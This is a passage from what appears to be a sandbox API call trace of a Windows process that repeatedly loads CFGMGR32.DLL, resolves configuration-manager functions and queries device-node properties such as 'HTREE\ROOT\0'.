lpSystemTimeAsFileTime=0x67117d530 | out: lpSystemTimeAsFileTime=0x67117d530*(dwLowDateTime=0x68f8c7a9, dwHighDateTime=0x1d9eb0c)) [0228.369] SetEvent (hEvent=0x248) returned 1 [0228.373] malloc (_Size=0xd8) returned 0x196ef0d4e70 [0228.373] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0228.374] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0228.374] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0228.374] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0228.374] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0228.374] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0228.374] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0228.375] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0228.375] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0228.375] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0228.375] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0228.375] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0228.375] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0228.376] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0228.376] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0228.376] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0228.376] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0228.376] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0228.376] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0228.376] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0228.376] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0228.377] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0228.377] malloc (_Size=0x18) returned 0x196ef0d1a20 [0228.377] CM_Get_First_Log_Conf (in: plcLogConf=0x67117d5f8, dnDevInst=0x4, ulFlags=0x4 | out: plcLogConf=0x67117d5f8) returned 0xe [0228.377] malloc (_Size=0x48) returned 0x196ef0fb8b0 [0228.377] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117d550 | out: lpSystemTimeAsFileTime=0x67117d550*(dwLowDateTime=0x68fb2bd9, dwHighDateTime=0x1d9eb0c)) [0228.378] SetEvent (hEvent=0x248) returned 1 [0228.381] malloc (_Size=0xd8) returned 0x196ef0d4e70 [0228.381] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0228.381] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0228.381] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0228.382] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0228.382] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0228.382] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0228.382] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0228.382] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0228.382] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0228.382] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0228.382] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0228.383] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0228.383] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0228.383] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0228.383] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0228.383] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0228.383] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0228.383] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0228.383] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0228.384] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0228.384] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0228.384] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0228.384] malloc (_Size=0x18) returned 0x196ef0d1e60 [0228.384] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x4, ulProperty=0xd, pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84, ulFlags=0x0 | out: pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84) returned 0x25 [0228.384] malloc (_Size=0x48) returned 0x196ef0fbe50 [0228.384] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117cd40 | out: lpSystemTimeAsFileTime=0x67117cd40*(dwLowDateTime=0x68fb2bd9, dwHighDateTime=0x1d9eb0c)) [0228.385] SetEvent (hEvent=0x248) returned 1 [0228.390] malloc (_Size=0xd8) returned 0x196ef0d4e70 [0228.390] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0228.390] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0228.391] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0228.391] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0228.391] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0228.391] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0228.391] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0228.391] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0228.392] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0228.392] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0228.392] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0228.392] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0228.392] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0228.392] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0228.392] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0228.393] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0228.393] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0228.393] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0228.393] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0228.393] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0228.393] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0228.393] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0228.394] malloc (_Size=0x18) returned 0x196ef0d1be0 [0228.394] CM_Get_Device_IDA (in: dnDevInst=0x6, Buffer=0x67117d4f0, BufferLen=0xc9, ulFlags=0x0 | out: Buffer="HTREE\\ROOT\\0") returned 0x0 [0228.394] malloc (_Size=0x48) returned 0x196ef0fbdb0 [0228.394] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117d460 | out: lpSystemTimeAsFileTime=0x67117d460*(dwLowDateTime=0x68fd8cf2, dwHighDateTime=0x1d9eb0c)) [0228.394] SetEvent (hEvent=0x248) returned 1 [0228.398] malloc (_Size=0xd8) returned 0x196ef0d4e70 [0228.398] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0228.398] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0228.398] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0228.398] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0228.398] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0228.398] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0228.399] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0228.399] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0228.399] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0228.399] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0228.399] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0228.399] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0228.399] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0228.400] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0228.400] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0228.400] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0228.400] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0228.400] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0228.400] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0228.400] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0228.401] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0228.401] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0228.401] malloc (_Size=0x18) returned 0x196ef0d1a40 [0228.401] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x6, ulProperty=0x2, pulRegDataType=0x67117d570, Buffer=0x0, pulLength=0x67117d608, ulFlags=0x0 | out: pulRegDataType=0x67117d570, Buffer=0x0, pulLength=0x67117d608) returned 0x25 [0228.401] malloc (_Size=0x48) returned 0x196ef0fb680 [0228.401] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117d4d0 | out: lpSystemTimeAsFileTime=0x67117d4d0*(dwLowDateTime=0x68fd8cf2, dwHighDateTime=0x1d9eb0c)) [0228.402] SetEvent (hEvent=0x248) returned 1 [0228.404] malloc (_Size=0xd8) returned 0x196ef0d4e70 [0228.404] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0228.405] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0228.405] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0228.405] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0228.405] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0228.405] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0228.405] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0228.405] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0228.406] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0228.406] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0228.406] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0228.406] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0228.406] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0228.406] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0228.407] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0228.407] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0228.407] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0228.407] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0228.407] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0228.407] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0228.407] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0228.407] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0228.408] malloc (_Size=0x18) returned 0x196ef0d1fa0 [0228.408] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x6, ulProperty=0x3, pulRegDataType=0x67117d570, Buffer=0x0, pulLength=0x67117d608, ulFlags=0x0 | out: pulRegDataType=0x67117d570, Buffer=0x0, pulLength=0x67117d608) returned 0x25 [0228.408] malloc (_Size=0x48) returned 0x196ef0fb8b0 [0228.408] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117d4d0 | out: lpSystemTimeAsFileTime=0x67117d4d0*(dwLowDateTime=0x68fff277, dwHighDateTime=0x1d9eb0c)) [0228.408] SetEvent (hEvent=0x248) returned 1 [0228.457] malloc (_Size=0xd8) returned 0x196ef0d4e70 [0228.457] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0228.457] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0228.458] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0228.458] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0228.458] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0228.458] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0228.458] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0228.458] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0228.458] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0228.458] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0228.459] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0228.459] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0228.459] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0228.459] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0228.459] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0228.459] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0228.459] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0228.459] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0228.460] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0228.460] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0228.460] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0228.460] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0228.460] malloc (_Size=0x18) returned 0x196ef0d1a80 [0228.460] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x6, ulProperty=0xc, pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84, ulFlags=0x0 | out: pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84) returned 0x25 [0228.461] malloc (_Size=0x48) returned 0x196ef0fb900 [0228.461] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117cd40 | out: lpSystemTimeAsFileTime=0x67117cd40*(dwLowDateTime=0x690715ed, dwHighDateTime=0x1d9eb0c)) [0228.461] SetEvent (hEvent=0x248) returned 1 [0228.464] malloc (_Size=0xd8) returned 0x196ef0d4e70 [0228.464] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0228.465] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0228.465] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0228.465] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0228.465] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0228.465] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0228.465] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0228.466] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0228.466] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0228.466] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0228.466] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0228.466] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0228.466] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0228.466] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0228.467] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0228.467] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0228.467] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0228.467] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0228.467] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0228.467] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0228.467] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0228.467] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0228.468] malloc (_Size=0x18) returned 0x196ef0d1ba0 [0228.468] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x6, ulProperty=0x9, pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84, ulFlags=0x0 | out: pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84) returned 0x25 [0228.468] malloc (_Size=0x48) returned 0x196ef0fc0d0 [0228.468] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117cd40 | out: lpSystemTimeAsFileTime=0x67117cd40*(dwLowDateTime=0x690715ed, dwHighDateTime=0x1d9eb0c)) [0228.468] SetEvent (hEvent=0x248) returned 1 [0228.471] malloc (_Size=0xd8) returned 0x196ef0d4e70 [0228.472] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0228.472] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0228.472] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0228.472] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0228.472] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0228.472] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0228.472] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0228.473] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0228.473] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0228.473] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0228.473] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0228.473] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0228.473] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0228.473] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0228.474] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0228.474] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0228.474] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0228.474] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0228.474] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0228.474] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0228.474] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0228.474] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0228.475] malloc (_Size=0x18) returned 0x196ef0d1ba0 [0228.475] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x6, ulProperty=0x8, pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84, ulFlags=0x0 | out: pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84) returned 0x25 [0228.475] malloc (_Size=0x48) returned 0x196ef0fbae0 [0228.475] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117cd40 | out: lpSystemTimeAsFileTime=0x67117cd40*(dwLowDateTime=0x69097845, dwHighDateTime=0x1d9eb0c)) [0228.475] SetEvent (hEvent=0x248) returned 1 [0228.478] malloc (_Size=0xd8) returned 0x196ef0d4e70 [0228.478] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0228.478] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0228.478] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0228.479] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0228.479] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0228.479] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0228.479] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0228.479] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0228.479] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0228.479] GetProcAddress 